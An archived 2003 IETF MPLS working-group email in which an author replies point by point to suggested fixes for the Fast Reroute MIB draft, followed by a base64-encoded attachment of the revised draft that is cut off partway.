Cc: Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'jvasseur@cisco.com'" <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Suggested improvements to the Fast Reroute MIB definition in 
 draft-ietf-mpls-fastreroute-mib-01
References: <53F74F5A7B94D511841C00B0D0AB16F8028706D2@baker.datcon.co.uk>
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/10/2003 15:06:18,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/10/2003 15:06:20
Content-Type: multipart/mixed;
 boundary="------------6707E7B4022D43DFA5660F44"
X-Scanned-By: MIMEDefang 2.37
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------6707E7B4022D43DFA5660F44
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Nic,

We have done a lot of changes mainly on the detour related tables. The new
version has not been submitted yet. Please find attached the new version and my
answers to your questions below.

Riza.

Nic Neate wrote:

> Hi all,
>
> I've not had any further discussion on this for a while.  This is a summary
> of what I'm suggesting, taking into account the points people have made, and
> what we've already resolved.  Please get back to me with any disagreement or
> new arguments.
>
> Thanks,
>
> Nic
>
> Agreed corrections to the draft
> ===============================
>
> 1.  Reflect in the description of the mplsFrrConstHopLimit field that the
> information is not available at transit detour nodes.  Suggested text:
>
>       DESCRIPTION
>         "The maximum number of hops that the detour LSP may traverse.
>          This field is not relevant and should be ignored if this
>          entry in the mplsFrrConstTable is being used in the context
>          of representing a detour LSP."

This table is ONLY used at the ingress node of the protected tunnel instance to
configure backup LSP setup constraints. So it is not relevant for the detour
transit nodes.

>
>
> 2.  Typo: change mplsFrrConstExclAllAffinity to mplsFrrConstExclAnyAffinity.

Done.

>
>
> 3.  In section 5.3, change "mplsFrrDetourXCPointer" to
> "mplsTunnelXCPointer".  In the DESCRIPTION of mplsFrrDetourActive, change
> "mplsFrrDetourRole" to "mplsTunnelRole".
>

This object has been removed from the new version of the draft.

>
> Outstanding suggested changes
> =============================
>
> 1.  The mplsFrrConstTable should be a common table for both facility and
> detour backup.  Currently it is defined to show "detour setup constraints".
> However, the fields map precisely to those in the RSVP FAST_REROUTE object
> and the FRR draft specifies that the FAST_REROUTE object applies equally to
> both facility and detour backup.  Thus the table is required equally for
> facilty and detour backup.
>

To be discussed with Tom Nadeau.

>
> 2.  The mplsFrrConstProtectionMethod should be a field in the
> mplsFrrConstTable, not a scalar.  The FRR draft allows an LSR to
> simulateously support LSPs using both facility and detour backup.  This is
> likely to happen in real world networks, in particular when a network is
> being migrated from one protection type to another.  Hence the protection
> method needs to be configurable/reportable per-LSP, not just per-LSR.  I
> suggest the follow text for the MIB.
>
>    mplsFrrConstProtectionMethod OBJECT-TYPE
>       SYNTAX        INTEGER { oneToOneBackup(0),
>                               facilityBackup(1)
>                             }
>       MAX-ACCESS    read-write
>       STATUS        current
>       DESCRIPTION
>         "Indicates which protection method is to be used for fast
>          reroute."
>       ::= { mplsFrrConstEntry 4 }
>

To be discussed with Tom Nadeau.

>
> 3.  The indexing of the mplsFrrConstTable needs fixing.  The current three
> indicies (interface index, tunnel index and tunnel instance) are
> insufficient.  For example, two protected LSPs could meet at a transit node,
> both with different ingress and egress but the same values for each of the
> existing mplsFrrConstTable indices.  If those protected LSPs have a
> different value for, say, the mplsFrrConstSetupPrio then they need different
> entries in the mplsFrrConstTable.
>
> Rather than adjusting the current indexing, I suggest replacing the three
> existing indices with a single integer index, mplsFrrConstIndex.  This index
> can then be referenced from the mplsTunnelTable, establishing a simple
> indexing system with clear relationships between the tables (which is also
> in line with existing relationships between tables in the TE-MIB and
> LSR-MIB).
>
> Briefly, this would require the following.
> - New mplsFrrConstIndex field in the mplsFrrConstTable, replacing the three
> existing indices.
> - New mplsFrrTunnelFrrConstIndex/Pointer field in the mplsTunnelTable,
> pointing to the mplsFrrConstTable entry for this tunnel.
>
> Some full suggested text follows.
>
> For the mplsFrrConstTable:
>
>    MplsFrrConstIndex ::= TEXTUAL-CONVENTION
>       STATUS        current
>       DESCRIPTION
>         "Index into mplsFrrConstTable."
>       SYNTAX  Integer32 (1..65535)
>
>    mplsFrrConstIndex OBJECT-TYPE
>       SYNTAX        MplsFrrConstIndex
>       MAX-ACCESS    not-accessible
>       STATUS        current
>       DESCRIPTION
>            "Uniquely identifies this row."
>       ::= { mplsFrrConstEntry 1 }
>
> For the mplsTunnelTable:
>
>    -- MPLS Fast Reroute Tunnel Table
>
>    mplsFrrTunnelTable            OBJECT-TYPE
>       SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
>       MAX-ACCESS                 not-accessible
>       STATUS                     current
>       DESCRIPTION
>          "This table extends the mplsTunnelTable defined in the
>           MPLS-TE MIB to provide Fast Reroute configuration."
>       ::= { mplsFrrGeneralObjects 1 }
>
>    mplsFrrTunnelEntry            OBJECT-TYPE
>       SYNTAX                     MplsFrrTunnelEntry
>       MAX-ACCESS                 not-accessible
>       STATUS                     current
>       DESCRIPTION
>          "This entry provides Fast Reroute configuration for the
>           tunnel."
>       AUGMENTS { mplsTunnelEntry }
>       ::= {mplsFrrTunnelTable 1}
>
>    MplsFrrTunnelEntry ::= SEQUENCE {
>       mplsFrrTunnelFrrConstPointer      RowPointer
>    }
>
>    mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
>       SYNTAX                      RowPointer
>       MAX-ACCESS                  read-create
>       STATUS                      current
>       DESCRIPTION
>            "This variable represents a pointer to the Fast Reroute
>              parameter specification for this tunnel.  This value may
>              point at an entry in the mplsFrrConstTable to indicate
>              which mplsFrrConstEntry is to be assigned to this LSP
>              instance.  This value may optionally point at an
>              externally defined Fast Reroute parameter specification
>              table.  A value of zeroDotZero indicates default Fast
>              Reroute parameters if the fastReroute bit in the
>              mplsTunnelSessionAttributes is set, and otherwise no Fast
>              Reroute protection."
>       DEFVAL        { zeroDotZero }
>       ::= { mplsFrrTunnelEntry 1 }
>
>    END

This table is only intended to be used at the ingress nodes initiating the
backup LSPs. It will not be present at the transit detour LSPs. So, I don't see
a need to change the indexing.


--------------6707E7B4022D43DFA5660F44
Content-Type: text/plain; charset=iso-8859-1;
 name="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Disposition: inline;
 filename="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Transfer-Encoding: base64

DQoNCk5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgUml6YSBDZXRpbg0KSW50ZXJuZXQgRHJhZnQgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgU3RlZmFhbiBEZSBDbm9kZGVyDQpFeHBpcmF0aW9uIERhdGU6IERl
Y2VtYmVyIDIwMDMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFsY2F0ZWwNCg0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBEZXItSHdhIEdhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgSnVuaXBlciBOZXR3b3JrcywgSW5jLg0KDQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaG9tYXMgRC4gTmFkZWF1DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaXNj
byBTeXN0ZW1zLCBJbmMuDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIE9jdG9iZXIgMjAwMw0KDQoNCg0KICAgIE11bHRpcHJvdG9j
b2wgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBUcmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQN
CiAgICAgICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIEJhc2UgZm9yIEZhc3QgUmVyb3V0ZQ0K
DQogICAgICAgICAgICAgICAgICBkcmFmdC1pZXRmLW1wbHMtZmFzdHJlcm91dGUtbWliLTAyLnR4
dA0KDQoNCg0KICAgIFN0YXR1cyBvZiB0aGlzIE1lbW8NCg0KICAgIFRoaXMgZG9jdW1lbnQgaXMg
YW4gSW50ZXJuZXQtRHJhZnQgYW5kIGlzIGluIGZ1bGwgY29uZm9ybWFuY2Ugd2l0aA0KICAgIGFs
bCBwcm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNiBbMV0uDQoNCiAgICBJbnRlcm5l
dC1EcmFmdHMgYXJlIHdvcmtpbmcgZG9jdW1lbnRzIG9mIHRoZSBJbnRlcm5ldCBFbmdpbmVlcmlu
Zw0KICAgIFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsIGFuZCBpdHMgd29ya2luZyBncm91
cHMuIE5vdGUgdGhhdCBvdGhlcg0KICAgIGdyb3VwcyBtYXkgYWxzbyBkaXN0cmlidXRlIHdvcmtp
bmcgZG9jdW1lbnRzIGFzIEludGVybmV0LURyYWZ0cy4NCiAgICBJbnRlcm5ldC1EcmFmdHMgYXJl
IGRyYWZ0IGRvY3VtZW50cyB2YWxpZCBmb3IgYSBtYXhpbXVtIG9mIHNpeCBtb250aHMNCiAgICBh
bmQgbWF5IGJlIHVwZGF0ZWQsIHJlcGxhY2VkLCBvciBvYnNvbGV0ZWQgYnkgb3RoZXIgZG9jdW1l
bnRzIGF0IGFueQ0KICAgIHRpbWUuIEl0IGlzIGluYXBwcm9wcmlhdGUgdG8gdXNlIEludGVybmV0
LSBEcmFmdHMgYXMgcmVmZXJlbmNlDQogICAgbWF0ZXJpYWwgb3IgdG8gY2l0ZSB0aGVtIG90aGVy
IHRoYW4gYXMgIndvcmsgaW4gcHJvZ3Jlc3MuIg0KDQogICAgVGhlIGxpc3Qgb2YgY3VycmVudCBJ
bnRlcm5ldC1EcmFmdHMgY2FuIGJlIGFjY2Vzc2VkIGF0DQogICAgaHR0cDovL3d3dy5pZXRmLm9y
Zy9pZXRmLzFpZC1hYnN0cmFjdHMudHh0DQogICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQtRHJhZnQg
U2hhZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgIGh0dHA6Ly93d3cuaWV0
Zi5vcmcvc2hhZG93Lmh0bWwuDQoNCg0KMS4gQWJzdHJhY3QNCg0KICAgIFRoaXMgbWVtbyBkZWZp
bmVzIGEgcG9ydGlvbiBvZiB0aGUgTWFuYWdlbWVudCBJbmZvcm1hdGlvbiBCYXNlIChNSUIpDQog
ICAgZm9yIHVzZSB3aXRoIG5ldHdvcmsgbWFuYWdlbWVudCBwcm90b2NvbHMgaW4gdGhlIEludGVy
bmV0IGNvbW11bml0eS4NCiAgICBJbiBwYXJ0aWN1bGFyLCBpdCBkZXNjcmliZXMgbWFuYWdlZCBv
YmplY3RzIGZvciBNdWx0aXByb3RvY29sIExhYmVsDQogICAgU3dpdGNoaW5nIChNUExTKSBiYXNl
ZCBmYXN0IHJlcm91dGluZy4NCg0KMi4gVGFibGUgb2YgQ29udGVudHMNCg0KDQoxLiBBQlNUUkFD
VC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjENCjIu
IFRBQkxFIE9GIENPTlRFTlRTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uMQ0KMy4gQ09OVkVOVElPTlMgVVNFRCBJTiBUSElTIERPQ1VNRU5ULi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4yDQo0LiBJTlRST0RVQ1RJT04uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLjMNCjUuIEJSSUVGIERFU0NSSVBUSU9OIE9GIE1JQiBPQkpFQ1RT
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNS4xLiBNUExTRlJSQ09OU1RUQUJMRS4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zDQo1LjIuIE1QTFNGUlJQTFJUQUJM
RS4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMNCjUuMy4gTVBMU0ZS
UkRFVE9VUlRBQkxFLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNi4g
TVBMUyBGQVNUIFJFUk9VVEUgTUlCIERFRklOSVRJT05TLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li40DQo3LiBTRUNVUklUWSBDT05TSURFUkFUSU9OUy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uMjkNCjguIFJFRkVSRU5DRUFTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4yOQ0KOS4gQUNLTk9XTEVER01FTlRTLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoxMC4gSW50ZWxsZWN0dWFsIFByb3BlcnR5IENv
bnNpZGVyYXRpb25zLi4uLi4uLi4uLi4uLi4uLi4uLi4uMzANCjExLiBBVVRIT1JTxiBBRERSRVNT
RVMuLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zMA0KMTIuIEZVTEwgQ09Q
WVJJR0hUIFNUQVRFTUVOVC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoNCg0K
My4gQ29udmVudGlvbnMgdXNlZCBpbiB0aGlzIGRvY3VtZW50DQoNCiAgICBUaGUga2V5IHdvcmRz
ICJNVVNUIiwgIk1VU1QgTk9UIiwgIlJFUVVJUkVEIiwgIlNIQUxMIiwgIlNIQUxMIE5PVCIsDQog
ICAgIlNIT1VMRCIsICJTSE9VTEQgTk9UIiwgIlJFQ09NTUVOREVEIiwgICJNQVkiLCBhbmQgIk9Q
VElPTkFMIiBpbiB0aGlzDQogICAgZG9jdW1lbnQgYXJlIHRvIGJlIGludGVycHJldGVkIGFzIGRl
c2NyaWJlZCBpbiBSRkMtMjExOSBbMl0uDQoNCjQuIEludHJvZHVjdGlvbg0KDQogICAgVGhpcyBt
ZW1vIGRlZmluZXMgYSBwb3J0aW9uIG9mIHRoZSBNYW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2Ug
KE1JQikNCiAgICBmb3IgdXNlIHdpdGggbmV0d29yayBtYW5hZ2VtZW50IHByb3RvY29scyBpbiB0
aGUgSW50ZXJuZXQgY29tbXVuaXR5Lg0KICAgIEluIHBhcnRpY3VsYXIsIGl0IGRlc2NyaWJlcyBt
YW5hZ2VkIG9iamVjdHMgZm9yIE11bHRpcHJvdG9jb2wgTGFiZWwNCiAgICBTd2l0Y2hpbmcgKE1Q
TFMpIGJhc2VkIGZhc3QgcmVyb3V0aW5nLiBUaGlzIE1JQiBzaG91bGQgYmUgdXNlZCBpbg0KICAg
IGNvbmp1bmN0aW9uIHdpdGggWzNdIGFuZCBbNF0uDQoNCjUuIEJyaWVmIERlc2NyaXB0aW9uIG9m
IE1JQiBPYmplY3RzLg0KDQogICAgVGhlIG9iamVjdHMgZGVzY3JpYmVkIGluIHRoaXMgc2VjdGlv
biBzdXBwb3J0IHRoZSBkZXRvdXINCiAgICBmdW5jdGlvbmFsaXR5IGRlc2NyaWJlZCBpbiBTZWN0
aW9uIDMgb2YgWzVdLg0KDQo1LjEuIG1wbHNGcnJDb25zdFRhYmxlDQoNCiAgICBUaGlzIHRhYmxl
IGNvbnRhaW5zIGZhc3QtcmVyb3V0ZSBjb25zdHJhaW50cyBzdWNoIGFzIHNldHVwIGFuZA0KICAg
IGhvbGRpbmcgcHJpb3JpdGllcyBhbmQgYmFuZHdpZHRoIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0
byBiZQ0KICAgIHByb3RlY3RlZCBieSB1c2luZyBiYWNrdXAgTFNQcyAoZGV0b3VyIExTUHMgb3Ig
YnktcGFzcyB0dW5uZWxzKS4NCg0KICAgIFRoaXMgdGFibGUgaXMgdXNlZCBhdCB0aGUgaW5ncmVz
cyBub2RlIG9mIHRoZSBwcm90ZWN0ZWQgdHVubmVsDQogICAgaW5zdGFuY2UgdG8gY29uZmlndXJl
IGJhY2t1cCBMU1Agc2V0dXAgY29uc3RyYWludHMuDQoNCjUuMi4gbXBsc0ZyclBMUlRhYmxlDQoN
CiAgICBUaGUgbXBsc0ZyclBMUlRhYmxlIGlzIGFuIG9wdGlvbmFsIHRhYmxlIHRoYXQgY29udGFp
bnMgbGlzdHMgb2YgUExScw0KICAgIHRoYXQgaW5pdGlhdGVkIGRldG91ciBMU1BzIHRvIHByb3Rl
Y3QgdHVubmVsIGluc3RhbmNlcy4NCg0KICAgIFdoZW4gZGV0b3VyIExTUHMgaW5pdGlhdGVkIGJ5
IGRpZmZlcmVudCBQTFJzIHRvIHByb3RlY3QgdGhlIHNhbWUNCiAgICB0dW5uZWwgaW5zdGFuY2Us
IGFyZSBtZXJnZWQgdG9nZXRoZXIgYmVmb3JlIGVudGVyaW5nIGFuIExTUiB0aGVuIGF0DQogICAg
dGhpcyBMU1IsIGVudHJpZXMgb2YgdGhvc2UgUExScyBwb2ludCB0byB0aGUgc2FtZSBkZXRvdXIg
TFNQIGVudHJ5IGluDQogICAgdGhlIG1wbHNGcnJEZXRvdXJUYWJsZS4NCg0KNS4zLiBtcGxzRnJy
RGV0b3VyVGFibGUNCg0KICAgIFRoZSBtcGxzRnJyRGV0b3VyVGFibGUgc2hvd3MgdGhlIGRldG91
ciBMU1BzIGluIGVhY2ggbm9kZSAoaW5ncmVzcywNCiAgICB0cmFuc2l0IGFuZCBlZ3Jlc3Mgbm9k
ZXMpLiBBbiBlbnRyeSBvZiB0aGlzIHRhYmxlIHJlcHJlc2VudHMgYSBkZXRvdXINCiAgICBMU1Au
DQoNCiAgICBFYWNoIGRldG91ciBpcyBpZGVudGlmaWVkIGJ5Og0KDQogICAgLSB0dW5uZWwgaW5k
ZXg6DQogICAgICBzZXQgdG8gdGhlIHR1bm5lbC1pZCBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEg
ZGV0b3VyLg0KDQogICAgLSB0dW5uZWwgaW5zdGFuY2U6IGNvbnNpc3RzIG9mIHR3byBwYXJ0cw0K
DQogICAgICAxKSBsb3dlciAxNiBiaXRzOiAgLSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQog
ICAgICAgICAgICAgICAgICAgICAgICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgcHJvdGVjdGVk
IExTUCB3aXRoaW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgdHVubmVsLg0KICAgICAg
MikgaGlnaGVyIDE2IGJpdHM6IC0gZGV0b3VyIGluc3RhbmNlDQogICAgICAgICAgICAgICAgICAg
ICAgICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgZGV0b3VyIExTUCBvZiBhIHByb3RlY3RlZA0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgdHVubmVsIGluc3RhbmNlLg0KDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICBNdWx0aXBsZSBkZXRvdXJzIG9mIHRoZSBzYW1lIHByb3RlY3RlZCBM
U1AgbWF5IGdvDQogICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdWdoIHRoZSBzYW1lIG5v
ZGUuIEluIHRoaXMgY2FzZSwgaGlnaGVyIDE2IGJpdHMNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgIG9mIHRoZSB0dW5uZWwgaW5zdGFuY2Ugb2JqZWN0IGlzIHVzZWQgYXMgYSBkZXRvdXINCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGluc3RhbmNlLg0KDQogICAgLSBpbmdyZXNzIG5vZGU6
DQogICAgICBzZXQgdG8gdGhlIGluZ3Jlc3Mgbm9kZSBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEg
ZGV0b3VyLg0KDQogICAgLSBlZ3Jlc3Mgbm9kZToNCiAgICAgIHNldCB0byB0aGUgZWdyZXNzIG5v
ZGUgb2YgYW4gTFNQIHByb3RlY3RlZCBieSBhIGRldG91ci4NCg0KICAgIEEgZGV0b3VyIExTUCBp
cyBhbHNvIGNvbnNpZGVyZWQgYXMgYW4gaW5zdGFuY2Ugb2YgYSBwcm90ZWN0ZWQgdHVubmVsLg0K
ICAgIFRoZXJlZm9yZSwgZWFjaCBkZXRvdXIgTFNQIHdpbGwgaGF2ZSBhbiBlbnRyeSBpbiB0aGUg
bXBsc1R1bm5lbFRhYmxlIChkZWZpbmVkDQogICAgaW4gdGhlIE1QTFMtVEUtTUlCKS4NCg0KICAg
IEluIHRoZSBtcGxzVHVubmVsVGFibGUsIGhpZ2hlciAxNiBiaXRzIG9mIHRoZSB0dW5uZWwgaW5z
dGFuY2Ugd2lsbCBiZSB1c2VkDQogICAgYXMgZGV0b3VyIGluc3RhbmNlLiBOb3RlIHRoYXQgZm9y
IHRoZSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlcywgaGlnaGVyIDE2IGJpdHMNCiAgICBvZiB0
aGUgdHVubmVsIGluc3RhbmNlIG11c3QgYmUgYWxsIHplcm9zLg0KDQogICAgVGhpcyB0YWJsZSBp
cyBvcHRpb25hbCBhbmQgaXMgb25seSByZXF1aXJlZCBpbiBjYXNlIG1wbHNGcnJQTFJUYWJsZQ0K
ICAgIGlzIHN1cHBvcnRlZC4NCg0KNS40LiBtcGxzRnJyVHVubmVsQVJIb3BUYWJsZQ0KDQogICAg
VGhpcyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhvcCB0YWJsZSAoZGVmaW5lZCBpbiB0aGUg
TVBMUy1URSBNSUIpDQogICAgd2l0aCBmYXN0LXJlcm91dGUgb2JqZWN0cyB3aGljaCBzcGVjaWZp
ZXMgdGhlIHN0YXR1cyBvZiBsb2NhbA0KICAgIHByb3RlY3Rpb24gKGF2YWlsYWJpbGl0eSBhbmQg
aW4tdXNlKSBwZXIgaG9wIHRyYXZlcnNlZCBieSBhIHByb3RlY3RlZA0KICAgIHR1bm5lbC4NCg0K
ICAgIFRoZSBzdXBwb3J0IG9mIHRoaXMgdGFibGUgaXMgb3B0aW9uYWwgc2luY2Ugbm90IGFsbCBN
UExTIHNpZ25hbGxpbmcNCiAgICBwcm90b2NvbHMgbWF5IHN1cHBvcnQgbXBsc1R1bm5lbEFSSG9w
VGFibGUuDQoNCiAgICBFRCBOT1RFOiBOZWVkIHRvIGFkZCBkZXNjcmlwdGlvbiBvZiBGYWNpbGl0
eS1iYXNlZCBGUlIgdGFibGVzDQogICAgYW5kIGV4cGxhbmF0aW9uIG9mIG5ldyBNSUIgc3RydWN0
dXJlLg0KDQo2LiBNUExTIEZhc3QgUmVyb3V0ZSBNSUIgRGVmaW5pdGlvbnMNCg0KDQpNUExTLUZS
Ui1NSUIgREVGSU5JVElPTlMgOjo9IEJFR0lODQoNCiAgICBJTVBPUlRTDQogICAgICAgTU9EVUxF
LUlERU5USVRZLCBPQkpFQ1QtVFlQRSwNCiAgICAgICBJbnRlZ2VyMzIsIFVuc2lnbmVkMzIsIENv
dW50ZXIzMiwNCiAgICAgICBOT1RJRklDQVRJT04tVFlQRSwgZXhwZXJpbWVudGFsDQogICAgICAg
ICAgRlJPTSBTTk1QdjItU01JDQogICAgICAgTU9EVUxFLUNPTVBMSUFOQ0UsIE9CSkVDVC1HUk9V
UCwgTk9USUZJQ0FUSU9OLUdST1VQDQogICAgICAgICAgRlJPTSBTTk1QdjItQ09ORg0KICAgICAg
IFRFWFRVQUwtQ09OVkVOVElPTiwgVHJ1dGhWYWx1ZSwgUm93U3RhdHVzLA0KICAgICAgIFRpbWVT
dGFtcA0KICAgICAgICAgIEZST00gU05NUHYyLVRDDQogICAgICAgSW50ZXJmYWNlSW5kZXgsIElu
dGVyZmFjZUluZGV4T3JaZXJvDQogICAgICAgICAgRlJPTSBJRi1NSUINCiAgICAgICBNcGxzVHVu
bmVsSW5kZXgsIE1wbHNUdW5uZWxJbnN0YW5jZUluZGV4LA0KICAgICAgIE1wbHNUdW5uZWxBZmZp
bml0eSwgTXBsc0xzcklkZW50aWZpZXINCiAgICAgICAgICBGUk9NIE1QTFMtVEMtTUlCDQogICAg
ICAgSW5ldEFkZHJlc3NUeXBlLCBJbmV0QWRkcmVzcw0KICAgICAgICAgIEZST00gSU5FVC1BRERS
RVNTLU1JQg0KICAgICAgIDsNCg0KICAgIG1wbHNGcnJNSUIgTU9EVUxFLUlERU5USVRZDQogICAg
ICAgTEFTVC1VUERBVEVEDQogICAgICAgICAgIjIwMDIxMTAxMTIwMFoiIC0tIDAxIE5vdmVtYmVy
IDIwMDIgMTI6MDA6MDAgR01UDQogICAgICAgT1JHQU5JWkFUSU9ODQogICAgICAgICAgIk11bHRp
cHJvdG9jb2wgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBXb3JraW5nIEdyb3VwIg0KICAgICAgIENP
TlRBQ1QtSU5GTw0KICAgICAgICAgICAgIg0KICAgICAgICAgICAgICAgICAgICAgUml6YSBDZXRp
bg0KICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAgICAgICAgICAgICAgRnJh
bmNpcyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBCLTIwMTggQW50d2VycCwg
QmVsZ2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwNDczNQ0KICAgICAgICAgICAg
IEVtYWlsOiAgcml6YS5jZXRpbkBhbGNhdGVsLmJlDQoNCiAgICAgICAgICAgICAgICAgICAgIFN0
ZWZhYW4gRGUgQ25vZGRlcg0KICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAg
ICAgICAgICAgICAgRnJhbmNpcyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBC
LTIwMTggQW50d2VycCwgQmVsZ2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwODUx
NQ0KICAgICAgICAgICAgIEVtYWlsOiAgU3RlZmFhbi5kZV9jbm9kZGVyQGFsY2F0ZWwuYmUNCg0K
ICAgICAgICAgICAgICAgICAgICAgRGVyLUh3YSBHYW4NCiAgICAgICAgICAgICBQb3N0YWw6IEp1
bmlwZXIgTmV0d29ya3MsIEluYy4NCiAgICAgICAgICAgICAgICAgICAgIDExOTQgTi4gTWF0aGls
ZGEgQXZlbnVlDQogICAgICAgICAgICAgICAgICAgICBTdW5ueXZhbGUsIENBIDk0MDg5DQogICAg
ICAgICAgICAgVGVsOiAgICArMS00MDgtNzQ1LTIwLTc0DQogICAgICAgICAgICAgRW1haWw6ICBk
aGdAanVuaXBlci5uZXQNCg0KICAgICAgICAgICAgICAgICAgICAgVGhvbWFzIEQuIE5hZGVhdQ0K
ICAgICAgICAgICAgIFBvc3RhbDogQ2lzY28gU3lzdGVtcywgSW5jLg0KICAgICAgICAgICAgICAg
ICAgICAgMjUwIEFwb2xsbyBEcml2ZQ0KICAgICAgICAgICAgICAgICAgICAgQ2hlbG1zZm9yZCwg
TUEgMDE5MjQNCiAgICAgICAgICAgICBUZWw6ICAgICsxLTk3OC0yNDQtMzA1MQ0KICAgICAgICAg
ICAgIEVtYWlsOiAgdG5hZGVhdUBjaXNjby5jb20NCg0KICAgICAgICAgICAgIg0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAiVGhpcyBNSUIgbW9kdWxlIGNvbnRhaW5zIG1hbmFnZWQgb2Jq
ZWN0IGRlZmluaXRpb25zIGZvciBNUExTDQogICAgICAgICAgRmFzdCBSZXJvdXRlIChGUlIpIGFz
IGRlZmluZWQgaW46UGFuLCBQLiwgR2FuLCBELiwgU3dhbGxvdywgRy4sDQogICAgICAgICAgVmFz
c2V1ciwgSi5QaC4sIENvb3BlciwgRC4sIEF0bGFzLCBBLiwgSm9yaywgTS4sIEZhc3QgUmVyb3V0
ZQ0KICAgICAgICAgIFRlY2huaXF1ZXMgaW4gUlNWUC1URSwgZHJhZnQtaWV0Zi1tcGxzLXJzdnAt
bHNwLWZhc3RyZXJvdXRlLQ0KICAgICAgICAgIDAwLnR4dCwgSmFudWFyeSAyMDAyLiINCg0KICAg
IC0tIFJldmlzaW9uIGhpc3RvcnkuDQogICAgICAgUkVWSVNJT04NCiAgICAgICAgICAgICIyMDAy
MTEwMTEyMDBaIiAtLSAwMSBOb3ZlbWJlciAyMDAyIDEyOjAwOjAwIEdNVA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICAiQWRkZWQgc3VwcG9ydCBmb3IgRmFjaWxpdHktYmFzZWQgRlJS
Lg0KDQogICAgICAgICAgICAgUmVtb3ZlZCB0YWJsZXMgdGhhdCB3ZXJlIHJlZHVuZGFudCB3aXRo
DQogICAgICAgICAgICAgICBvdGhlciBNUExTIE1JQnMuDQoNCiAgICAgICAgICAgICBBc3NpZ25l
ZCBleHBlcmltZW50YWwuMTIwLiINCg0KICAgICAgIFJFVklTSU9ODQogICAgICAgICAgICAiMjAw
